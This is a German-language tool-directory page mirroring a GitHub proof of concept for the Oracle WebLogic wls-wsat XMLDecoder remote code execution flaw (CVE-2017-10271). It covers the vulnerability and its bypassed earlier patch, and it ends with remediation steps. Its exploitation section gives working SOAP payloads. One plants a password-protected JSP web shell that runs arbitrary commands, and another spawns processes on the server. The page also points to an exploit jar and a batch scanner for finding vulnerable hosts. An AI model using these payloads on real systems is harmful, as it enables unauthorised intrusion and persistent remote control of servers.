Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Oracle-WebLogic-CVE-2017-10271 — Originalautor: Bearcat@secfree.com | Kitploit
Tools/GitHubGitHub/xhsecurity/oracle-weblogic-cve-2017-10271
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRemote-Access-Tool
GitHubxhsecurity/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

Originalautor: [email protected]

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
12vor 1 JahrNoch nicht geprüft

WebLogic Wls-wsat XMLDecoder

Schwachstellenbeschreibung

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Frühzeitig nutzten Hacker die Schwachstelle der WebLogic WLS-Komponente aus, um großflächige Remote-Angriffe auf Unternehmensserver durchzuführen. Viele Unternehmensserver wurden kompromittiert, und die Anzahl der betroffenen Unternehmen zeigte einen deutlichen Aufwärtstrend, was höchste Aufmerksamkeit erfordert. CVE-2017-3506 ist eine Schwachstelle zur Remote-Code-Ausführung (RCE) in der WLS-Komponente von Oracle WebLogic. Es handelt sich um eine Schwachstelle, die in freier Wildbahn ohne öffentliche Details ausgenutzt wird. Viele Unternehmen haben noch nicht rechtzeitig Patches installiert. Oracle veröffentlichte den Patch für diese Schwachstelle im April 2017.

CVE-2017-3506 Patch-Beschreibung:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

Lediglich eine validate-Funktion wurde vor der Deserialisierung hinzugefügt. Wenn qName gleich "object" ist, wird eine Ausnahme ausgelöst und abgebrochen. Das ist einfach und brutal, aber eine solche Blacklist-Reparatur ist schwer vollständig zu beheben. Nachdenkenswert...

Die Ausnutzungsmethode dieser Schwachstelle ist relativ einfach. Angreifer müssen nur eine sorgfältig konstruierte HTTP-Anfrage senden, um Berechtigungen auf dem Zielserver zu erlangen – der Schaden ist enorm. Da die Schwachstelle relativ neu ist, haben viele Hosts noch nicht die entsprechenden Patches installiert. Nach diesem Vorfall ist zu erwarten, dass die Anzahl der Angriffe sprunghaft ansteigt und viele neue Hosts kompromittiert werden.

Der offizielle Oracle-Patch vom April für CVE-2017-3506 reparierte die Schwachstelle nicht vollständig; der Patch kann umgangen werden und die Remote-Befehlsausführung bleibt möglich. Die derzeit umgangene Schwachstelle CVE-2017-10271 wurde im offiziellen Patch vom Oktober repariert.

Schwachstellenkennung

CVE-2017-10271 (Umgehung der Remote-Befehlsausführung bei wls-wsat)

Betroffene Versionen

Oracle WebLogic Server10.3.6.0.0 Version

Oracle WebLogic Server12.1.3.0.0 Version

Oracle WebLogic Server12.2.1.1.0 Version

Oracle WebLogic Server12.2.1.2.0 Version

wls-wsat Verzeichnisliste

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Ausnutzungsmethode

PoC:

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/1.jpg)

exploit

CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/2.jpg)

exploit

Befehl ausführen
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/3.jpg)

exploit

Verwenden von Exp, um eine CmdShell zu erhalten

WebLogic_Wls-Wsat_RCE_Exp.jar
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/4.jpg)

exploit

Batch-Asset-Erkennung

WebLogic-Wls-wsat-XMLDecoder
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/5.jpg)
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/6.jpg?raw=true)

exploit exploit

Behebungsvorschläge

  1. Oracle-Patch vom Oktober einspielen.

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  1. Zugriffskontrolle für Ressourcen, die auf wls-wsat zugreifen.

  2. Temporäre Lösung

    Ohne Beeinträchtigung des Geschäftsbetriebs löschen Sie je nach tatsächlichem Umgebungspfad die folgenden War-Pakete und Verzeichnisse aus dem WebLogic-Programm.

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Starten Sie den WebLogic-Dienst oder das System neu und überprüfen Sie, ob der folgende Link den Status 404 zurückgibt:

http://ip:port/wls-wsat/CoordinatorPortType11

Tool herunterladen